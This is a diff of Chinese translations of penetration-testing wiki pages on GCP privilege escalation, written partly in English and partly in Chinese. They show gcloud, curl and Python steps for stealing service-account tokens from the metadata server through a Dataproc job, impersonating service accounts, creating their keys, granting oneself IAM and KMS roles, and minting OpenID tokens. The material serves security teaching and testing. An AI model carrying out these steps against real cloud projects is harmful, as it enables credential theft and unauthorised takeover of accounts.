从权限名称来看,它似乎允许你为 K8s Service Accounts 生成 token,因此你可以在 Kubernetes 内对任意 SA 提权。然而,我找不到任何可用的 API 端点来使用它,如果你发现了,请告诉我。
|
||||
|
||||
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
|
||||
|
||||
这些权限可能允许您在 Kubernetes 中提升权限,但更可能的是,您可以滥用它们以 **在集群中持久化**。\
|
||||
更多信息请 [**点击此链接**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller)。
|
||||
这些权限可能允许你在 Kubernetes 中提权,但更可能被滥用以在集群中实现持久化。
|
||||
For more information [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP Dataproc Privilege Escalation
|
||||
# GCP Dataproc 权限提升
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,17 +10,19 @@
|
||||
|
||||
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
|
||||
|
||||
我无法使用此方法获取反向 shell,但可以使用下面描述的方法从元数据端点泄露 SA 令牌。
|
||||
我无法使用此方法获取 reverse shell,但可以通过下面描述的方法从 metadata endpoint leak SA token。
|
||||
|
||||
#### 利用步骤
|
||||
#### Steps to exploit
|
||||
|
||||
- 将作业脚本放置在 GCP Bucket 中
|
||||
- 将 job 脚本放到 GCP Bucket 上
|
||||
|
||||
- 向 Dataproc 集群提交作业。
|
||||
- 将 job 提交到 Dataproc cluster。
|
||||
|
||||
- 使用该作业访问元数据服务器。
|
||||
- 使用该 job 访问 metadata server。
|
||||
|
||||
- 泄露集群使用的服务账户令牌。
|
||||
- Leak 集群使用的 service account token。
|
||||
|
||||
<details><summary>用于从 metadata server 获取 SA token 的 Python 脚本</summary>
|
||||
```python
|
||||
import requests
|
||||
|
||||
@@ -41,7 +43,9 @@ return None
|
||||
if __name__ == "__main__":
|
||||
fetch_metadata_token()
|
||||
```
|
||||
</details>
|
||||
|
||||
<details><summary>向 Dataproc 集群提交恶意作业</summary>
|
||||
```bash
|
||||
# Copy the script to the storage bucket
|
||||
gsutil cp <python-script> gs://<bucket-name>/<python-script>
|
||||
@@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
|
||||
--cluster=<cluster-name> \
|
||||
--region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
有关 IAM 的更多信息,请参见:
|
||||
有关 IAM 的更多信息:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,40 +12,54 @@
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
具有上述权限的攻击者将能够更新分配给您的角色,并为您提供对其他资源的额外权限,例如:
|
||||
拥有上述权限的攻击者能够更新分配给你的角色,并为你添加对其他资源的额外权限,例如:
|
||||
|
||||
<details><summary>更新 IAM 角色以添加权限</summary>
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
您可以在此处找到一个脚本,用于自动化**创建、利用和清理漏洞环境**,以及一个用于滥用此权限的python脚本[**在这里**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)。有关更多信息,请查看[**原始研究**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
|
||||
</details>
|
||||
|
||||
你可以在这里找到一个脚本,用于自动化 **创建、利用和清理易受攻击的环境**,以及一个用于滥用此权限的 python 脚本 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)。有关更多信息,请查看 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
具有上述权限的攻击者将能够**请求属于服务帐户的访问令牌**,因此可以请求具有比我们更多权限的服务帐户的访问令牌。
|
||||
具有上述权限的攻击者将能够 **请求属于某个 Service Account 的访问令牌**,因此可能请求到权限比我们更高的 Service Account 的访问令牌。
|
||||
|
||||
<details><summary>模拟服务帐号以获取访问令牌</summary>
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
您可以在这里找到一个脚本,用于自动化[**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh),以及一个用于滥用此权限的Python脚本[**在这里**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)。有关更多信息,请查看[**原始研究**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
|
||||
</details>
|
||||
|
||||
您可以找到一个脚本来自动化 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh),以及一个用于滥用此权限的 python 脚本 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)。更多信息请查看 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
具有上述权限的攻击者将能够**为服务账户创建用户管理的密钥**,这将允许我们以该服务账户的身份访问GCP。
|
||||
拥有上述权限的攻击者将能够 **create a user-managed key for a Service Account**,从而以该 Service Account 的身份访问 GCP。
|
||||
|
||||
<details><summary>Create service account key and authenticate</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
您可以在这里找到一个脚本,用于自动化[**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh),以及一个用于滥用此权限的Python脚本[**在这里**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)。有关更多信息,请查看[**原始研究**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
|
||||
</details>
|
||||
|
||||
请注意,**`iam.serviceAccountKeys.update`无法修改SA的密钥**,因为要做到这一点,还需要权限`iam.serviceAccountKeys.create`。
|
||||
你可以在 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) 找到一个脚本来自动化流程,以及在 [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py) 找到一个用于滥用此权限的 python 脚本。更多信息请查看 [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
|
||||
|
||||
注意,**`iam.serviceAccountKeys.update` won't work to modify the key** of a SA,因为要做到这一点还需要权限 `iam.serviceAccountKeys.create`。
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
如果您在一个服务账户上拥有**`iam.serviceAccounts.implicitDelegation`**权限,并且该服务账户在第三个服务账户上拥有**`iam.serviceAccounts.getAccessToken`**权限,那么您可以使用implicitDelegation为**该第三个服务账户创建一个令牌**。以下是一个帮助解释的图示。
|
||||
如果你在一个 Service Account 上拥有 **`iam.serviceAccounts.implicitDelegation`** 权限,且该 Service Account 对第三个 Service Account 拥有 **`iam.serviceAccounts.getAccessToken`** 权限,那么你可以使用 implicitDelegation 来**为该第三个 Service Account 创建 token**。下面有一张图示说明。
|
||||
|
||||

|
||||
|
||||
请注意,根据[**文档**](https://cloud.google.com/iam/docs/understanding-service-accounts),`gcloud`的委托仅适用于使用[**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken)方法生成令牌。因此,您可以直接使用API获取令牌:
|
||||
注意,根据 [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts),`gcloud` 的委派仅可使用 [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) 方法来生成 token。所以这里展示如何直接使用 API 获取 token:
|
||||
|
||||
<details><summary>使用 API 通过委派生成 access token</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -56,23 +70,27 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
您可以在这里找到一个脚本,用于自动化[**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh),以及一个用于滥用此权限的Python脚本[**在这里**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py)。有关更多信息,请查看[**原始研究**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
|
||||
</details>
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
具有上述权限的攻击者将能够**在GCP中签名任意有效负载**。因此,将能够**创建SA的未签名JWT,然后将其作为blob发送,以便让我们所针对的SA签名JWT**。有关更多信息,请[**阅读此文**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)。
|
||||
具有上述权限的攻击者将能够在 GCP 中**对任意负载进行签名**。因此可以**创建目标 SA 的未签名 JWT,然后将其作为 blob 发送以让目标 SA 对该 JWT 进行签名**。更多信息请[**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)。
|
||||
|
||||
您可以在这里找到一个脚本,用于自动化[**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh),以及一个用于滥用此权限的Python脚本[**在这里**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py)和[**在这里**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py)。有关更多信息,请查看[**原始研究**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
具有上述权限的攻击者将能够**签名格式良好的JSON Web令牌(JWT)**。与前一种方法的区别在于**我们使用的signJWT方法已经期望一个JWT,而不是让Google签名一个包含JWT的blob**。这使得使用更简单,但您只能签名JWT,而不是任何字节。
|
||||
具有上述权限的攻击者将能够**签署格式正确的 JSON web tokens (JWTs)**。与前一种方法的区别在于,**我们不是让 google 对包含 JWT 的 blob 进行签名,而是使用已经期望接收 JWT 的 signJWT 方法**。这使得使用更简单,但你只能签署 JWT,而不能签署任意字节。
|
||||
|
||||
您可以在这里找到一个脚本,用于自动化[**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh),以及一个用于滥用此权限的Python脚本[**在这里**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py)。有关更多信息,请查看[**原始研究**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
具有上述权限的攻击者将能够**向服务账户添加IAM策略**。您可以利用它来**授予自己**您需要的权限,以便冒充服务账户。在以下示例中,我们将`roles/iam.serviceAccountTokenCreator`角色授予自己,针对有趣的SA:
|
||||
具有上述权限的攻击者将能够**向服务账号添加 IAM 策略**。你可以滥用此权限来**授予自己**冒充该服务账号所需的权限。在下面的示例中,我们将 `roles/iam.serviceAccountTokenCreator` 角色授予感兴趣的 SA:
|
||||
|
||||
<details><summary>向服务账号添加 IAM 策略绑定</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -83,47 +101,57 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
您可以在这里找到一个脚本,用于自动化[**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**。**
|
||||
</details>
|
||||
|
||||
您可以找到一个脚本来自动化 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
**iam.serviceAccounts.actAs 权限** 类似于 **AWS 的 iam:PassRole 权限**。它对于执行任务至关重要,例如启动 Compute Engine 实例,因为它授予“作为”服务帐户的能力,确保安全的权限管理。如果没有这个,用户可能会获得不当访问。此外,利用 **iam.serviceAccounts.actAs** 涉及多种方法,每种方法都需要一组权限,与其他只需要一个权限的方法形成对比。
|
||||
The **iam.serviceAccounts.actAs permission** 是类似于 **iam:PassRole permission from AWS** 的权限。它对于执行任务(例如启动一个 Compute Engine 实例)至关重要,因为它授予以“actAs”某个 Service Account 的能力,从而确保权限管理的安全性。没有此权限,用户可能会获得不当访问。此外,利用 **iam.serviceAccounts.actAs** 涉及多种方法,每种方法都需要一组不同的权限,这与其他只需要单一权限的方法形成对比。
|
||||
|
||||
#### 服务帐户 impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
模仿服务帐户对于**获取新的更高权限**非常有用。您可以通过三种方式[模仿另一个服务帐户](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
模拟服务账号在获得更高权限时非常有用,可以用来 **obtain new and better privileges**。有三种方式可以 [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
|
||||
- 使用 RSA 私钥进行身份验证(如上所述)
|
||||
- 使用 Cloud IAM 策略进行授权(在此处介绍)
|
||||
- 在 GCP 服务上**部署作业**(更适用于用户帐户的妥协)
|
||||
- Authentication **using RSA private keys**(如上所述)
|
||||
- Authorization **using Cloud IAM policies**(在此处讨论)
|
||||
- **Deploying jobs on GCP services**(更适用于对用户账号的妥协)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
具有上述权限的攻击者将能够生成 OpenID JWT。这些用于声明身份,并不一定对资源具有隐含的授权。
|
||||
拥有上述权限的攻击者能够生成 OpenID JWT。这些用于断言身份,并不一定对某个资源带有任何隐含的授权。
|
||||
|
||||
根据这篇[**有趣的文章**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b),需要指明受众(您希望使用令牌进行身份验证的服务),您将收到一个由 Google 签名的 JWT,指示服务帐户和 JWT 的受众。
|
||||
根据这篇 [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b),需要指定 audience(即你打算使用该 token 进行认证的服务),然后你会收到一个由 google 签名的 JWT,指明 service account 和该 JWT 的 audience。
|
||||
|
||||
您可以使用以下命令生成 OpenIDToken(如果您有访问权限):
|
||||
You can generate an OpenIDToken (if you have the access) with:
|
||||
|
||||
<details><summary>为 service account 生成 OpenID token</summary>
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
然后你可以直接使用它来访问服务:
|
||||
</details>
|
||||
|
||||
然后你可以使用它来访问该服务:
|
||||
|
||||
<details><summary>使用 OpenID token 进行身份验证</summary>
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
一些支持通过这种令牌进行身份验证的服务包括:
|
||||
</details>
|
||||
|
||||
支持通过此类令牌进行身份验证的一些服务包括:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id)(如果使用 Google OIDC)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
|
||||
|
||||
您可以在[**这里**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)找到有关如何为服务帐户创建 OpenID 令牌的示例。
|
||||
您可以找到一个示例,说明如何代表服务帐户创建 OpenID 令牌 [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)。
|
||||
|
||||
## 参考文献
|
||||
## 参考资料
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -10,11 +10,13 @@
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
请注意,在 KMS 中,**权限**不仅是从组织、文件夹和项目**继承**的,还来自于**密钥环**。
|
||||
注意,在 KMS 中,**permission** 不仅会从 Orgs、Folders 和 Projects 继承,还会从 **Keyrings** 继承。
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecrypt`
|
||||
|
||||
您可以使用此权限来**使用您拥有此权限的密钥解密信息**。
|
||||
如果你对某个密钥拥有此 permission,你可以使用该密钥来 **decrypt information**。
|
||||
|
||||
<details><summary>Decrypt data using KMS key</summary>
|
||||
```bash
|
||||
gcloud kms decrypt \
|
||||
--location=[LOCATION] \
|
||||
@@ -24,9 +26,13 @@ gcloud kms decrypt \
|
||||
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
|
||||
--plaintext-file=[DECRYPTED_FILE_PATH]
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeys.setIamPolicy`
|
||||
|
||||
拥有此权限的攻击者可以**授予自己权限**以使用密钥解密信息。
|
||||
具有此权限的攻击者可以**授予自己权限**以使用该密钥解密信息。
|
||||
|
||||
<details><summary>授予自己 KMS decrypter role</summary>
|
||||
```bash
|
||||
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--location [LOCATION] \
|
||||
@@ -34,20 +40,24 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--member [MEMBER] \
|
||||
--role roles/cloudkms.cryptoKeyDecrypter
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
|
||||
|
||||
这是关于此委托如何工作的概念性分解:
|
||||
下面是该委派如何工作的概念性分解:
|
||||
|
||||
1. **服务账户 A** 直接访问 KMS 中使用特定密钥进行解密。
|
||||
2. **服务账户 B** 被授予 `useToDecryptViaDelegation` 权限。这使其能够代表服务账户 A 请求 KMS 解密数据。
|
||||
1. **Service Account A** 具有使用 KMS 中特定密钥直接解密的权限。
|
||||
2. **Service Account B** 被授予 `useToDecryptViaDelegation` 权限。这样它可以代表 Service Account A 向 KMS 请求解密数据。
|
||||
|
||||
此 **权限的使用在 KMS 服务检查权限时是隐式的**,当发出解密请求时。
|
||||
当发出解密请求时,KMS 服务在检查权限的方式中隐含地使用了该**权限**。
|
||||
|
||||
当您使用 Google Cloud KMS API(在 Python 或其他语言中)发出标准解密请求时,服务 **检查请求的服务账户是否具有必要的权限**。如果请求是由具有 **`useToDecryptViaDelegation`** 权限的服务账户发出的,KMS 会验证该 **账户是否被允许代表拥有密钥的实体请求解密**。
|
||||
当你使用 Google Cloud KMS API(例如用 Python 或其他语言)发起标准解密请求时,服务会**检查发起请求的 service account 是否拥有必要的权限**。如果请求由拥有 **`useToDecryptViaDelegation`** 权限的 service account 发起,KMS 会验证该**账号是否被允许代表密钥的所有者请求解密**。
|
||||
|
||||
#### 设置委托
|
||||
#### 设置委派
|
||||
|
||||
1. **定义自定义角色**:创建一个 YAML 文件(例如,`custom_role.yaml`),定义自定义角色。该文件应包括 `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` 权限。以下是该文件可能的示例:
|
||||
1. **定义自定义角色**:创建一个 YAML 文件(例如 `custom_role.yaml`)来定义自定义角色。该文件应包含 `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` 权限。下面是该文件可能的示例:
|
||||
|
||||
<details><summary>自定义角色 YAML 定义</summary>
|
||||
```yaml
|
||||
title: "KMS Decryption via Delegation"
|
||||
description: "Allows decryption via delegation"
|
||||
@@ -55,13 +65,21 @@ stage: "GA"
|
||||
includedPermissions:
|
||||
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
|
||||
```
|
||||
2. **使用 gcloud CLI 创建自定义角色**:使用以下命令在您的 Google Cloud 项目中创建自定义角色:
|
||||
</details>
|
||||
|
||||
2. **使用 gcloud CLI 创建自定义角色**:使用以下命令在你的 Google Cloud 项目中创建该角色:
|
||||
|
||||
<details><summary>创建自定义 KMS 角色</summary>
|
||||
```bash
|
||||
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
|
||||
```
|
||||
将 `[YOUR_PROJECT_ID]` 替换为您的 Google Cloud 项目 ID。
|
||||
将 `[YOUR_PROJECT_ID]` 替换为你的 Google Cloud 项目 ID。
|
||||
|
||||
3. **将自定义角色授予服务账户**:将您的自定义角色分配给将使用此权限的服务账户。使用以下命令:
|
||||
</details>
|
||||
|
||||
3. **将自定义角色授予服务帐号**:将你自定义的角色分配给将使用此权限的服务帐号。使用以下命令:
|
||||
|
||||
<details><summary>将自定义角色授予服务帐号</summary>
|
||||
```bash
|
||||
# Give this permission to the service account to impersonate
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
@@ -73,6 +91,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
|
||||
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
|
||||
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
|
||||
```
|
||||
将 `[YOUR_PROJECT_ID]` 和 `[SERVICE_ACCOUNT_EMAIL]` 分别替换为您的项目 ID 和服务帐户的电子邮件。
|
||||
将 `[YOUR_PROJECT_ID]` 和 `[SERVICE_ACCOUNT_EMAIL]` 分别替换为你的项目 ID 和服务账号的邮箱地址。
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+29
-21
@@ -1,40 +1,40 @@
|
||||
# GCP - 本地权限提升 SSH 透传
|
||||
# GCP - local privilege escalation ssh pivoting
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
在这个场景中,我们假设你**已经在 Compute Engine 项目中的虚拟机内攻陷了一个非特权账户**。
|
||||
在这个场景中,我们假设你已经在一个 Compute Engine 项目的 VM 内攻陷了一个 **non privilege account**。
|
||||
|
||||
令人惊讶的是,你攻陷的计算引擎的 GPC 权限可能帮助你**在机器内部提升本地权限**。即使在云环境中这并不总是非常有用,但知道这是可能的还是很好的。
|
||||
令人惊讶的是,GPC 对你所攻陷的 compute engine 的权限可能会帮助你 **escalate privileges locally inside a machine**。即便在云环境中这并不总是很有用,但知道这是可能的仍然很重要。
|
||||
|
||||
## 阅读脚本 <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
## Read the scripts <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
|
||||
**计算实例**可能用于**执行一些脚本**以使用其服务账户执行操作。
|
||||
**Compute Instances** 可能被用来 **execute some scripts**,以便使用它们的 service accounts 执行操作。
|
||||
|
||||
由于 IAM 的细粒度控制,一个账户可能对某个资源具有**读/写**权限,但**没有列出权限**。
|
||||
由于 IAM 非常细粒度,一个账号可能对某个资源拥有 **read/write** 权限,但 **no list privileges**。
|
||||
|
||||
一个很好的假设例子是一个计算实例,它有权限读取/写入名为 `instance82736-long-term-xyz-archive-0332893` 的存储桶的备份。
|
||||
一个很好的假设例子是一个 Compute Instance 拥有将备份读/写到一个名为 `instance82736-long-term-xyz-archive-0332893` 的 storage bucket 的权限。
|
||||
|
||||
从命令行运行 `gsutil ls` 返回空结果,因为服务账户缺少 `storage.buckets.list` IAM 权限。然而,如果你运行 `gsutil ls gs://instance82736-long-term-xyz-archive-0332893`,你可能会找到一个完整的文件系统备份,从而获得你本地 Linux 账户所缺乏的明文数据访问。
|
||||
在命令行运行 `gsutil ls` 不会返回任何内容,因为 service account 缺少 `storage.buckets.list` IAM permission。然而,如果你运行 `gsutil ls gs://instance82736-long-term-xyz-archive-0332893`,你可能会发现完整的文件系统备份,从而获得本地 Linux 账号所没有的明文数据访问权限。
|
||||
|
||||
你可能能够在脚本中找到这个存储桶的名称(在 bash、Python、Ruby 等中)。
|
||||
你可能能在脚本(如 bash、Python、Ruby...)中找到这个 bucket 名称。
|
||||
|
||||
## 自定义元数据
|
||||
## Custom Metadata
|
||||
|
||||
管理员可以在**实例**和**项目级别**添加 [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom)。这只是将**任意键/值对传递到实例**的一种方式,通常用于环境变量和启动/关闭脚本。
|
||||
Administrators can add [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) at the **instance** and **project level**. 这只是将 **arbitrary key/value pairs into an instance** 的一种方式,常用于环境变量和 startup/shutdown scripts。
|
||||
|
||||
此外,可以添加**用户数据**,这是一个将在机器每次启动或重启时**执行的脚本**,并且可以**从元数据端点访问**。
|
||||
此外,可以添加 **userdata**,它是一个在机器每次启动或重启时都会被 **executed everytime** 的脚本,并且也可以 **accessed from the metadata endpoint also.**
|
||||
|
||||
有关更多信息,请查看:
|
||||
For more info check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
## **滥用 IAM 权限**
|
||||
## **Abusing IAM permissions**
|
||||
|
||||
以下大多数提议的权限是**授予默认计算服务账户的**,唯一的问题是**默认访问范围阻止服务账户使用它们**。然而,如果启用了**`cloud-platform`** **范围**或仅启用了**`compute`** **范围**,你将能够**滥用它们**。
|
||||
下面列出的多数权限通常被 **given to the default Compute SA,** 唯一的问题是 **default access scope prevents the SA from using them**。然而,如果启用了 **`cloud-platform`** scope 或仅启用了 **`compute`** scope,你就能够滥用它们。
|
||||
|
||||
检查以下权限:
|
||||
